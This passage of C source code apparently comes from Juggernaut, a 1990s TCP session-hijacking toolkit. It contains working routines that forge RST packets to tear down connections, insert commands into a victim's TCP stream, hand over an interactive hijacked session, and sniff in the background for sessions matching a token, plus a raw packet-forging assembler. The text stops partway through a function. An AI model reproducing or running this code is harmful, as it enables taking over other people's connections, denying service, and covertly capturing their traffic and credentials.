       if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&tcphp->syn&&iphp->saddr==source){
           if(target)if(iphp->daddr!=target)continue;

           sin.sin_port=tcphp->dest;
           sin.sin_addr.s_addr=iphp->saddr;

           tpack.tcp.source=tcphp->dest;
           tpack.tcp.dest=tcphp->source;

           for(moot=1;moot<RSTS+1;moot++){     /* Send RSTs, incrementing
                                              acks as we go */

               tpack.tcp.ack_seq=tcphp->seq+(htonl(moot));

               tpack.tcp.check=0;
               tpack.ip.saddr=iphp->daddr;
               tpack.ip.daddr=iphp->saddr;
               tpack.ip.check=0;

               ppheader->saddr=tpack.ip.saddr;
               ppheader->daddr=tpack.ip.daddr;

               bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR);
               tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR);

               sendto(ripsock,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin));
               fprintf(stderr,"%c-%c*",0x08,0x08);
           }
       }
   }
}

/*
*  Simplex-hijack.  Really just inserts a command into the TCP stream.  This
*  will totally desynch the connection however and cause two things to happen:
*  1) an ACK storm of epic proportions (maybe not, see accompanying paper) and
*  2) the target user will have her connection destroyed.  To alleviate the
*  first problem, we simply reset the connection shortly after we hijack it.
*  The second problem is a burden with this kind of hijacking.
*/

void csimplexhijack(target,commandbuf)
struct connectionInfo *target;
char *commandbuf;
{

   void nettimeout();
   char *hostLookup(unsigned long);
   unsigned short in_cksum(unsigned short *,int);

   struct tpack{                   /* Generic TCP packet */
       struct iphdr ip;
       struct tcphdr tcp;
       char payload[BUFSIZE];
   }tpack;

  struct psuedoHeader{
       unsigned long saddr;
       unsigned long daddr;
       unsigned char null;
       unsigned char prot;
       unsigned short tlen;
   }*ppheader;

   struct sockaddr_in sin;

   extern int ripsock;
   extern int netreadtimeout;
   static int len;
   char *tempBuf;
   int tlinksock=tap(DEVICE);

   ALIGNNETPOINTERS();

   bzero(&tpack,sizeof(tpack));

   len=strlen(commandbuf)+1;
   bcopy(commandbuf,tpack.payload,len--);
   sin.sin_family=AF_INET;
   sin.sin_port=target->sport;
   sin.sin_addr.s_addr=target->daddr;

   tpack.tcp.source=target->sport;
   tpack.tcp.dest=target->dport;
   tpack.tcp.doff=5;
   tpack.tcp.ack=1;
   tpack.tcp.psh=1;
   tpack.tcp.window=htons(242);

   tpack.ip.version=4;
   tpack.ip.ihl=5;
   tpack.ip.tot_len=htons(IPHDR+TCPHDR+len);
   tpack.ip.ttl=64;
   tpack.ip.protocol=IPPROTO_TCP;

   tpack.ip.saddr=target->saddr;
   tpack.ip.daddr=target->daddr;

   tempBuf=(char *)malloc(PHDR+TCPHDR+len);    /* Check me out y0 */
   ppheader=(struct psuedoHeader *)tempBuf;


   ppheader->saddr=tpack.ip.saddr;
   ppheader->daddr=tpack.ip.daddr;
   ppheader->null=0;
   ppheader->prot=IPPROTO_TCP;
   ppheader->tlen=htons(TCPHDR+len);

   fprintf(stderr,"(simplex) Hijacking connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport));

   if(setjmp(env)){                            /* Timeout */
       if(verbosity)fprintf(stderr,"Quiet connection, try again later. [soft error, returning]\n");
       return;
   }
   signal(SIGALRM,nettimeout);
   alarm(0);
   alarm(netreadtimeout);                      /* Wait 10 seconds for reply */

   while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->daddr&&tcphp->source==target->dport){
       tpack.tcp.seq=tcphp->ack_seq;
       tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1);

       bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR+len);
       tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+len);

       sendto(ripsock,&tpack,IPHDR+TCPHDR+len,0,(struct sockaddr *)&sin,sizeof(sin));

       fprintf(stderr,"Command inserted, connection desynched.\n");
       sleep(JCKRST);          /* Don't reset the connection too quickly, or
                                  our command may not complete */
       crst(target);
       close(tlinksock);
       /* free(tempBuf);       XXX */
       break;
   }
}

/*
*  Hijack.  Desynchs the server from the client.  The resulting ACK storm
*  makes things very difficult.
*/

void chijack(target)
struct connectionInfo *target;
{

   void nettimeout();
   void seizure();
   char *hostLookup(unsigned long);
   unsigned short in_cksum(unsigned short *,int);


   struct tpack{
       struct iphdr ip;
       struct tcphdr tcp;
       char payload[2*BUFSIZE];
   }tpack;

   struct psuedoHeader{
       unsigned long saddr;
       unsigned long daddr;
       unsigned char null;
       unsigned char prot;
       unsigned short tlen;
   }*ppheader;

   struct sockaddr_in sin;

   char buf[10*MINIBUF];
   char *tempBuf=0;

   extern int ripsock;
   extern int netreadtimeout;
   extern int sigsentry;
   static int len;
   int tlinksock=tap(DEVICE);

   ALIGNNETPOINTERS();

   bzero(&tpack,sizeof(tpack));

   sin.sin_family=AF_INET;
   sin.sin_port=target->sport;
   sin.sin_addr.s_addr=target->daddr;

   tpack.tcp.source=target->sport;
   tpack.tcp.dest=target->dport;
   tpack.tcp.doff=5;
   tpack.tcp.ack=1;
   tpack.tcp.psh=1;
   tpack.tcp.window=htons(1024);

   tpack.ip.version=4;
   tpack.ip.ihl=5;
   tpack.ip.ttl=64;
   tpack.ip.protocol=IPPROTO_TCP;

   tpack.ip.saddr=target->saddr;
   tpack.ip.daddr=target->daddr;

   tempBuf=(char *)malloc(PHDR+TCPHDR+len);
   ppheader=(struct psuedoHeader *)tempBuf;

   ppheader->saddr=tpack.ip.saddr;
   ppheader->daddr=tpack.ip.daddr;
   ppheader->null=0;
   ppheader->prot=IPPROTO_TCP;

   signal(SIGINT,seizure);

   fprintf(stderr,"Hijacking connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport));
   fprintf(stderr,"'ctrl-c' when you are finished (this will RST the connection).\n");
   fprintf(stderr,"juggernaut>");

   fgets(buf,sizeof(buf),stdin);

   len=strlen(buf)+1;
   bcopy(buf,tpack.payload,len--);

   tpack.ip.tot_len=htons(IPHDR+TCPHDR+len);
   ppheader->tlen=htons(TCPHDR+len);

   if(setjmp(env)){
       if(verbosity)fprintf(stderr,"Quiet connection, try again later. [soft error, returning]\n");
       return;
   }
   signal(SIGALRM,nettimeout);
   alarm(0);
   alarm(netreadtimeout);
                           /* Here we setup the initial hijack state.  We
                              need to desynch the connection, and the next
                              packet that comes by will be the catalyst. */
   while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->daddr&&tcphp->source==target->dport){
       tpack.tcp.seq=tcphp->ack_seq;
       tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1);

       bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR+len);
       tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+len);

       sendto(ripsock,&tpack,IPHDR+TCPHDR+len,0,(struct sockaddr *)&sin,sizeof(sin));
       break;
   }

   alarm(0);
   while(sigsentry){                               /* Main hijack loop */
       if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->daddr&&tcphp->source==target->dport){
           if(!tcphp->psh)continue;        /* If this is not data, ignore it */
           dumpp(epack.payload-2,htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epack.tcp),0);

           bzero(&buf,sizeof(buf));
           fgets(buf,sizeof(buf),stdin);

           if(!buf[1])continue;        /* No input data (CR) */

           len=strlen(buf)+1;
           bcopy(buf,tpack.payload,len--);
           tpack.tcp.psh=1;
           tpack.tcp.check=0;
           tpack.ip.check=0;

           tpack.ip.tot_len=htons(IPHDR+TCPHDR+len);

           tpack.tcp.seq=tcphp->ack_seq;
           tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1);

           ppheader->tlen=htons(TCPHDR+len);
           bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR+len);
           tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+len);

           sendto(ripsock,&tpack,IPHDR+TCPHDR+len,0,(struct sockaddr *)&sin,sizeof(sin));
       }
   }
   crst(target);
   /*free(tempBuf);        XXX */
   close(tlinksock);
}


/*
*  Packet sniffer parses TCP packets for token.  Logs that packet, along with
*  the next 'enticement` number of packets.  Not really all that robust.
*/

void bloodhound(token,enticementfactor)
char *token;
int enticementfactor;
{

   void parsep(char *,int,FILE *);
   void shadow();
   char *hostLookup(unsigned long);

   FILE *fp=0;
   time_t tp=0;

   int length=0;
   int grabflag=0;                     /* Time to grab some packets */
   unsigned long targetsourceip=0;
   unsigned short targetsourceport=0;
   int tlinksock=tap(DEVICE);

   if(!(fp=fopen(SNIFLOG,"a+"))){      /* Log to file */
       if(verbosity){
           fprintf(stderr,"Cannot open file for logging. [fatal]\n");
           fprintf(stderr,"[cr]");
       }
       exit(0);
   }

   ALIGNNETPOINTERS();

   fprintf(stderr,"\nDropping to background, sniffing for smarmy tidbits...\n");

   shadow();                           /* Dropped to the background */
   fprintf(stderr,"\nSend a SIGKILL to %d when you are thorugh.\n",getpid());

   fprintf(fp,"\n---------------------------------------------------------------------\n[ Juggernaut bloodhound module log: token == '%s' ]\n",token);
   time(&tp);
   fprintf(fp,"[ Log started:\t\t%s---------------------------------------------------------------------\n",ctime(&tp));
   fflush(fp);

   while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP){
       length=htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epack.tcp);

       if((!grabflag)&&(strstr((epack.payload-2),token))){
           grabflag=enticementfactor;
           targetsourceip=iphp->saddr;
           targetsourceport=tcphp->source;
           fprintf(fp,"\n\t %s [%d]\t<-->\t %s [%d]\n",hostLookup(iphp->saddr),ntohs(tcphp->source),hostLookup(iphp->daddr),ntohs(tcphp->dest));
           parsep(epack.payload-2,length,fp);
       }
       if(grabflag){                   /* We have a session marked and are
                                          logging it */
           if(iphp->daddr==targetsourceip&&tcphp->dest==targetsourceport){
               parsep(epack.payload-2,length,fp);
               grabflag--;
           }
       }
   }
   /* NOTREACHED */
}


/*
*  Packet parser.  Print the packet out...
*/

void parsep(payload,length,fp)
char *payload;
int length;
FILE *fp;
{
   register int tickytacky=0;

   for(tickytacky=0;tickytacky<length;tickytacky++){
       if(payload[tickytacky]==0xd){        /* newline characater */
           fprintf(fp,"\n");
           continue;
       }
       if(isprint(payload[tickytacky]))fprintf(fp,"%c",payload[tickytacky]);
   }
   fflush(fp);
}


/*
*  Handles network timeouts.
*/

void nettimeout(){

   alarm(0);
   longjmp(env,1);
}
<-->
<++> Juggernaut/NumberOneCrush/prometheus.c
/*
*
*                                  Juggernaut
*                                  Version b2
*
*                            1996/7 Guild productions
*                           daemon9[guild|phrack|r00t]
*
*                         comments to [email protected]
*
*  This coding project made possible by a grant from the Guild corporation
*
*  prometheus.c - the packet assemby workshop module.  Each of the main
*  packet assembly subfunctions will end up calling the ip assembler to build
*  the IP portion and send it (them) out.
*
*  Too many dependencies in menu.c
*
*  Shout out to Nirva for some suggestions/help.  Nirva rules, BTW.  I love
*  Nirva.  You should too.
*
*/


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#include <netinet/in.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/udp.h>
#include <linux/icmp.h>
#include <linux/if_ether.h>
#include <linux/if.h>

#define MINIBUF     10
#define BUFSIZE     512
#define ETHHDR      14
#define PHDR        12
#define TCPHDR      20
#define UDPHDR      8
#define IPHDR       20

#define NOTRANSPORT     0x00
#define TCPTRANSPORT    0x01
#define UDPTRANSPORT    0x02
#define ICMPTRANSPORT   0x04

struct tpak{                    /* TCP packet */
   struct tcphdr tcp;
   char payload[BUFSIZE];
}tpack;

struct upak{                    /* UDP packet */
   struct udphdr udp;
   char payload[BUFSIZE];
}upack;

struct ipak{                    /* ICMP packet */
   struct icmphdr icmp;
   char payload[BUFSIZE];
}ipack;

struct rippak{                  /* IP packet */
   struct iphdr ip;
   char payload[BUFSIZE+20];   /* Payload + transport header */
}rippack;

int woe;                        /* Global var to let us know where to return
                                  to... */
extern int verbosity;

                               /* This will change when IP/TCP options are
                                  implemented... */
#define RIPPACKETSIZE 552       /* IP header + transport header of up to 20
                                  bytes + 512 byte payload */

int prometheus(type)
int type;
{
   void tcpa();
   void udpa();
   void icmpa();
   void igmpa();
   void ripa(int);

   bzero(&rippack,sizeof(rippack));
   woe=0;

   switch(type){
       case 1:
           tcpa();             /* TCP */
           break;
       case 2:
           udpa();             /* UDP */
           break;
       case 3:
           icmpa();            /* ICMP */
           break;
       case 4:
           ripa(NOTRANSPORT);  /* RAW IP with no transport and no payload */
           break;
       case 5:
           return(woe=1);      /* Done assembling packets */
       default:
           break;              /* bad input -- not done */
   }
   return(woe);
}


/*
*  TCP assembler
*/

void tcpa(){

   void ripa(int);
   void mwipe();
   void mpktatcp(int,unsigned short,unsigned short,unsigned long,unsigned long,char *,unsigned short,char *);

   char buf[2*MINIBUF];
   unsigned long val;
   int packetready=0;          /* flag bits */
   char data[4*MINIBUF]={0},flags[MINIBUF]={0},filename[4*MINIBUF]={0};
   int i,j,fd,loopsentry=1;

   bzero(&tpack,sizeof(tpack));

   srandom((unsigned)time(0)); /* seed psuedo random number generator */

   while(loopsentry){
       mwipe();
       mpktatcp(packetready,ntohs(tpack.tcp.source),ntohs(tpack.tcp.dest),ntohl(tpack.tcp.seq),ntohl(tpack.tcp.ack_seq),flags,ntohs(tpack.tcp.window),data);

       fgets(buf,sizeof(buf),stdin);
       if(!(val=atoi(buf)))continue;
       switch(val){
           case 1:         /* Source Port */
               fprintf(stderr,"\nSource Port (0 - 65535) [qr] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]=='r'){
                   tpack.tcp.source=htons(random()&0xffff);
                   packetready|=0x01;
                   break;
               }
               if(buf[0]=='q'||(val=atoi(buf))<0||val>65535){
                   if(packetready&0x01)packetready^=0x01;      /* Clear flag
                                                                  if set */
                   tpack.tcp.source=0;
                   break;
               }
               tpack.tcp.source=htons(val);
               packetready|=0x01;
               break;
           case 2:         /* Destination Port */
               fprintf(stderr,"\nDestination Port (0 - 65535) [qr] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]=='r'){
                   tpack.tcp.dest=htons(random()&0xffff);
                   packetready|=0x02;
                   break;
               }
               if(buf[0]=='q'||(val=atoi(buf))<0||val>65535){
                   if(packetready&0x02)packetready^=0x02;
                   tpack.tcp.dest=0;
                   break;
               }
               tpack.tcp.dest=htons(val);
               packetready|=0x02;
               break;
           case 3:         /* Sequence Number */
               fprintf(stderr,"\nSequence Number (0 - 4294967295) [qr] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]=='r'){
                   tpack.tcp.seq=htonl(random());
                   packetready|=0x04;
                   break;
               }
               if(buf[0]=='q'||buf[0]=='-'){
                   if(packetready&0x04)packetready^=0x04;
                   tpack.tcp.seq=0;
                   break;
               }
               tpack.tcp.seq=htonl(strtoul(buf,0,10));
               packetready|=0x04;
               break;
           case 4:         /* Acknowledgement Number */
               fprintf(stderr,"\nAcknowledgement Number (0 - 4294967295) [qr] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]=='r'){
                   tpack.tcp.ack_seq=htonl(random());
                   packetready|=0x08;
                   break;
               }
               if(buf[0]=='q'||buf[0]=='-'){
                   if(packetready&0x08)packetready^=0x08;
                   tpack.tcp.ack_seq=0;
                   break;
               }
               tpack.tcp.ack_seq=htonl(strtoul(buf,0,10));
               packetready|=0x08;
               break;
           case 5:         /* Control Flags */
               i=0;
               bzero(flags,sizeof(flags));
               fprintf(stderr,"\nURG? [yNq] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]=='q'){
                   if(packetready&0x10)packetready^=0x10;
                   tpack.tcp.urg=0;
                   break;
               }
               if(buf[0]=='y'){
                   tpack.tcp.urg=1;
                   flags[i++]='U';
               }
               fprintf(stderr,"\nACK? [yNq] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]=='q'){
                   if(packetready&0x10)packetready^=0x10;
                   tpack.tcp.ack=0;
                   break;
               }
               if(buf[0]=='y'){
                   tpack.tcp.ack=1;
                   flags[i++]='A';
               }
               fprintf(stderr,"\nPSH? [yNq] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]=='q'){
                   if(packetready&0x10)packetready^=0x10;
                   tpack.tcp.psh=0;
                   break;
               }
               if(buf[0]=='y'){
                   tpack.tcp.psh=1;
                   flags[i++]='P';
               }
               fprintf(stderr,"\nRST? [yNq] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]=='q'){
                   if(packetready&0x10)packetready^=0x10;
                   tpack.tcp.rst=0;
                   break;
               }
               if(buf[0]=='y'){
                   tpack.tcp.rst=1;
                   flags[i++]='R';
               }
               fprintf(stderr,"\nSYN? [yNq] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]=='q'){
                   if(packetready&0x10)packetready^=0x10;
                   tpack.tcp.syn=0;
                   break;
               }
               if(buf[0]=='y'){
                   tpack.tcp.syn=1;
                   flags[i++]='S';
               }
               fprintf(stderr,"\nFIN? [yNq] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]=='q'){
                   if(packetready&0x10)packetready^=0x10;
                   tpack.tcp.fin=0;
                   break;
               }
               if(buf[0]=='y'){
                   tpack.tcp.fin=1;
                   flags[i++]='F';
               }
               if(!flags[0])strcpy(flags,"none set");
               packetready|=0x10;
               break;
           case 6:     /* Window Size */
               fprintf(stderr,"\nWindow Size (0 - 65535) [qr] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]=='r'){
                   tpack.tcp.window=htons(random()&0xffff);
                   packetready|=0x20;
                   break;
               }
               if(buf[0]=='q'||(val=atoi(buf))<0||val>65535){
                   if(packetready&0x20)packetready^=0x20;
                   tpack.tcp.window=0;
                   break;
               }
               tpack.tcp.window=htons(val);
               packetready|=0x20;
               break;
           case 7:     /* Data payload */
               bzero(data,sizeof(data));
               bzero(tpack.payload,sizeof(tpack.payload));
               bzero(filename,sizeof(filename));
               fprintf(stderr,"\nData Payload Source (512 Bytes Maximum) [qfc] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]=='c'){        /* Input from command line */
                   fprintf(stderr,"\nEnter Payload [q] >");
                   fgets(tpack.payload,sizeof(tpack.payload),stdin);
                   strncpy(data,tpack.payload,sizeof(data));
                   packetready|=0x40;
                   break;
               }
               if(buf[0]=='f'){        /* Input from file */
                   fprintf(stderr,"\nFilename [q] >");
                   if(buf[0]==0x0a||buf[0]=='q')break;
                   fgets(filename,sizeof(filename),stdin);
                   for(i=0;i<4*MINIBUF;i++)if(!filename[i])break;
                   filename[--i]=0;    /* Pesky Newline */
                   if((fd=open(filename,O_RDONLY))<0){
                       if(verbosity){
                           fprintf(stderr,"Cannot open file for reading.\n");
                           fprintf(stderr,"[cr]");
                           getchar();
                       }
                       continue;
                   }
                   i=0;
                   j=0;
                   while(i<512){
                       j=read(fd,tpack.payload,sizeof(tpack.payload));
                       if(!j)break;    /* No more bytes ta read */
                       i+=j;
                   }
                   strncpy(data,filename,sizeof(filename));
                   close(fd);
                   packetready|=0x40;
                   break;
               }
               if(packetready&0x40)packetready^=0x40;
               bzero(data,sizeof(data));
               bzero(tpack.payload,sizeof(tpack.payload));
               break;
           case 8:         /* Return to previous menu */
               loopsentry=0;
               bzero(&tpack,sizeof(tpack));
               break;
           case 9:         /* Return to Main */
               loopsentry=0;
               woe=1;
               break;
           case 10:        /* RIP assembler */
               if(packetready==0x07f){     /* AND mask of all the options */
                   tpack.tcp.doff=5;       /* Data offset */
                   ripa(TCPTRANSPORT);     /* Checksum will be computed in
                                              ripa */
                   break;
               }
               continue;
           default:        /* Bad input */
               continue;
       }
   }
}

/*
*  UDP assembler
*/

void udpa(){

   void ripa(int);
   void mwipe();
   void mpktaudp(int,unsigned short,unsigned short,char *);

   char buf[2*MINIBUF];
   unsigned long val;
   int packetready=0;          /* flag bits */
   char data[4*MINIBUF]={0},filename[4*MINIBUF]={0};
   int i=0,j,fd=0,loopsentry=1;

   bzero(&upack,sizeof(upack));

   srandom((unsigned)time(0));

   while(loopsentry){
       mwipe();

       mpktaudp(packetready,ntohs(upack.udp.source),ntohs(upack.udp.dest),data);

       fgets(buf,sizeof(buf),stdin);
       if(!(val=atoi(buf)))continue;
       switch(val){
           case 1:         /* Source Port */
               fprintf(stderr,"\nSource Port (0 - 65535) [qr] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]==0x0a||buf[0]=='q'){
                   if(packetready&0x01)packetready^=0x01;
                   upack.udp.source=0;
                   break;
               }
               if(buf[0]=='r'){
                   upack.udp.source=htons(random()&0xffff);
                   packetready|=0x01;
                   break;
               }
               if(!(int)(val=atoi(buf)))break;
               upack.udp.source=htons(val);
               packetready|=0x01;
               break;
           case 2:         /* Destination Port */
               fprintf(stderr,"\nDestination Port (0 - 65535) [qr] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]==0x0a||buf[0]=='q'){
                   if(packetready&0x02)packetready^=0x02;
                   upack.udp.dest=0;
                   break;
               }
               if(buf[0]=='r'){
                   upack.udp.dest=htons(random()&0xffff);
                   packetready|=0x02;
                   break;
               }
               if(!(int)(val=atoi(buf)))break;
               upack.udp.dest=htons(val);
               packetready|=0x02;
               break;
           case 3:         /* Data payload */
               bzero(data,sizeof(data));
               bzero(upack.payload,sizeof(upack.payload));
               bzero(filename,sizeof(filename));
               fprintf(stderr,"\nData Payload Source (512 Bytes Maximum) [qfc] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]=='c'){        /* Input from command line */
                   fprintf(stderr,"\nEnter Payload [q] >");
                   fgets(upack.payload,sizeof(upack.payload),stdin);
                   strncpy(data,upack.payload,sizeof(data));
                   packetready|=0x04;
                   break;
               }
               if(buf[0]=='f'){        /* Input from file */
                   fprintf(stderr,"\nFilename [q] >");
                   if(buf[0]==0x0a||buf[0]=='q')break;
                   fgets(filename,sizeof(filename),stdin);
                   for(i=0;i<4*MINIBUF;i++)if(!filename[i])break;
                   filename[--i]=0;
                   if((fd=open(filename,O_RDONLY))<0){
                       if(verbosity){
                           fprintf(stderr,"Cannot open file for reading.\n");
                           fprintf(stderr,"[cr]");
                           getchar();
                       }
                       continue;
                   }
                   i=0;
                   j=0;
                   while(i<512){
                       j=read(fd,upack.payload,sizeof(upack.payload));
                       if(!j)break;
                       i+=j;
                   }
                   strncpy(data,filename,sizeof(filename));
                   close(fd);
                   packetready|=0x04;
                   break;
               }
               if(packetready&0x04)packetready^=0x04;
               bzero(data,sizeof(data));
               bzero(upack.payload,sizeof(upack.payload));
               break;
           case 4:     /* Return to previous menu */
               loopsentry=0;
               bzero(&upack,sizeof(upack));
               break;
           case 5:     /* Retuen to Main */
               loopsentry=0;
               woe=1;
               break;
           case 6:     /* RIP assembler */
               if(packetready==0x07){
                   upack.udp.len=htons(UDPHDR+BUFSIZE);
                   ripa(UDPTRANSPORT);
                   break;
               }
               continue;
           default:    /* bad input */
               continue;
       }
   }
}

/*
*  ICMP assembler
*  This is no where as robust as it should be.  In fact, it doesn't really
*  create legal ICMP packets.  Oh well.  Next version.  I am tired of
*  packet assembly duldrums...
*/

void icmpa(){

   void ripa(int);
   void mwipe();
   void mpktaicmp(int,unsigned short,unsigned short,char *);

   char buf[2*MINIBUF];
   unsigned long val;
   int packetready=0;          /* flag bits */
   char data[4*MINIBUF]={0},filename[4*MINIBUF]={0};
   int i=0,j,fd=0,loopsentry=1;

   bzero(&ipack,sizeof(ipack));

   while(loopsentry){
       mwipe();

       mpktaicmp(packetready,ipack.icmp.type,ipack.icmp.code,data);

       fgets(buf,sizeof(buf),stdin);
       if(!(val=atoi(buf)))continue;
       switch(val){
           case 1:                             /* Type */
               fprintf(stderr,"\nType (0,3,4,5,8,9,10,11,12,13,14,15,16,17,18) [q] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]==0x0a||buf[0]=='q'){
                   if(packetready&0x01)packetready^=0x01;
                   ipack.icmp.type=0;
                   break;
               }
               if(!(int)(val=atoi(buf)))break;
               ipack.icmp.type=val;
               packetready|=0x01;
               break;
           case 2:                             /* Code */
               fprintf(stderr,"\nCode (0,1 {2,3}) [q] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]==0x0a||buf[0]=='q'){
               if(packetready&0x02)packetready^=0x02;
                   ipack.icmp.code=0;
                   break;
               }
               if(!(int)(val=atoi(buf)))break;
               ipack.icmp.code=val;
               packetready|=0x02;
               break;
           case 3:                             /* Data payload */
               bzero(data,sizeof(data));
               bzero(ipack.payload,sizeof(ipack.payload));
               bzero(filename,sizeof(filename));
               fprintf(stderr,"\nData Payload Source (512 Bytes Maximum) [qfc] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]=='c'){        /* Input from command line */
                   fprintf(stderr,"\nEnter Payload [q] >");
                   fgets(ipack.payload,sizeof(ipack.payload),stdin);
                   strncpy(data,ipack.payload,sizeof(data));
                   packetready|=0x04;
                   break;
               }
               if(buf[0]=='f'){        /* Input from file */
                   fprintf(stderr,"\nFilename [q] >");
                   if(buf[0]==0x0a||buf[0]=='q')break;
                   fgets(filename,sizeof(filename),stdin);
                   for(i=0;i<4*MINIBUF;i++)if(!filename[i])break;
                   filename[--i]=0;
                   if((fd=open(filename,O_RDONLY))<0){
                       if(verbosity){
                           fprintf(stderr,"Cannot open file for reading.\n");
                           fprintf(stderr,"[cr]");
                           getchar();
                       }
                       continue;
                   }
                   i=0;
                   j=0;
                   while(i<512){
                       j=read(fd,upack.payload,sizeof(upack.payload));
                       if(!j)break;
                       i+=j;
                   }
                   strncpy(data,filename,sizeof(filename));
                   close(fd);
                   packetready|=0x04;
                   break;
               }
               if(packetready&0x04)packetready^=0x04;
               bzero(data,sizeof(data));
               bzero(ipack.payload,sizeof(ipack.payload));
               break;
           case 4:
               loopsentry=0;
               bzero(&ipack,sizeof(ipack));
               break;
           case 5:
               loopsentry=0;
               woe=1;
               break;
           case 6:
               if(packetready==0x07){
                   ripa(ICMPTRANSPORT);
                   break;
               }
               continue;
           default:
               continue;
       }
   }
}


/*
*  IP assembler and xmitter.  Transport layer checksum routines thanks to
*  Myth (Red, actually).
*/

void ripa(transport)
int transport;
{

   void mwipe();
   void mpktaip(int,char *,char *,unsigned short,unsigned short,char *,char *,int,char *);
   char *hostLookup(unsigned long);
   unsigned long nameResolve(char *);
   unsigned short in_cksum(unsigned short *,int);


   char buf[2*MINIBUF];
   unsigned long val;
   char tosflags[MINIBUF]={0},fflags[MINIBUF]={0},packettype[MINIBUF]={0};
   char sip[2*MINIBUF]={0},dip[2*MINIBUF]={0},*tempBuf;
   int packetready=0;              /* flag bits */
   int i=0,j=0,k=0;                /* Counters */
   int loopsentry=1,number=0;

   struct sockaddr_in sin;

   struct psuedoHeader{
       unsigned long saddr;
       unsigned long daddr;
       unsigned char null;
       unsigned char prot;
       unsigned short tlen;
   }*ppheader;

   extern int ripsock;

   bzero(&rippack,sizeof(rippack));
   bzero((char *)&sin,sizeof(sin));

   srandom((unsigned)time(0));

   while(loopsentry){
       i=0;
       mwipe();
       mpktaip(packetready,tosflags,fflags,ntohs(rippack.ip.frag_off),rippack.ip.ttl,sip,dip,number,packettype);

       fgets(buf,sizeof(buf),stdin);
       if(!(val=atoi(buf)))continue;
       switch(val){
           case 1:     /* TOS */
               bzero(tosflags,sizeof(tosflags));
               fprintf(stderr,"\nMinimize Delay? [yNq] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]=='q'){
                   if(packetready&0x01)packetready^=0x01;
                   rippack.ip.tos=0;
                   break;
               }
               if(buf[0]=='y'){
                   rippack.ip.tos|=0x10;
                   tosflags[i++]='D';
               }
               fprintf(stderr,"\nMaximize Throughput? [yNq] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]=='q'){
                   if(packetready&0x01)packetready^=0x01;
                   rippack.ip.tos=0;
                   break;
               }
               if(buf[0]=='y'){
                   rippack.ip.tos|=0x08;
                   tosflags[i++]='T';
               }
               fprintf(stderr,"\nMaximize Reliability? [yNq] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]=='q'){
                   if(packetready&0x01)packetready^=0x01;
                   rippack.ip.tos=0;
                   break;
               }
               if(buf[0]=='y'){
                   rippack.ip.tos|=0x04;
                   tosflags[i++]='R';
               }
               fprintf(stderr,"\nMinimize Monetary Cost? [yNq] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]=='q'){
                   if(packetready&0x01)packetready^=0x01;
                   rippack.ip.tos=0;
                   break;
               }
               if(buf[0]=='y'){
                   rippack.ip.tos|=0x02;
                   tosflags[i++]='C';
               }
               if(!tosflags[0])strcpy(tosflags,"none set");
               packetready|=0x01;
               break;
           case 2:                     /* Frag Flags */
               bzero(fflags,sizeof(fflags));
               fprintf(stderr,"\nMore Fragments? [yNq] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]=='q'){
                   if(packetready&0x02)packetready^=0x02;
                   rippack.ip.frag_off=0;
                   break;
               }
               if(buf[0]=='y'){
                   rippack.ip.frag_off|=htons(0x4000);
                   fflags[i++]='M';
               }
               fprintf(stderr,"\nDon't Fragment? [yNq] >");
               fgets(buf,sizeof(buf),stdin);
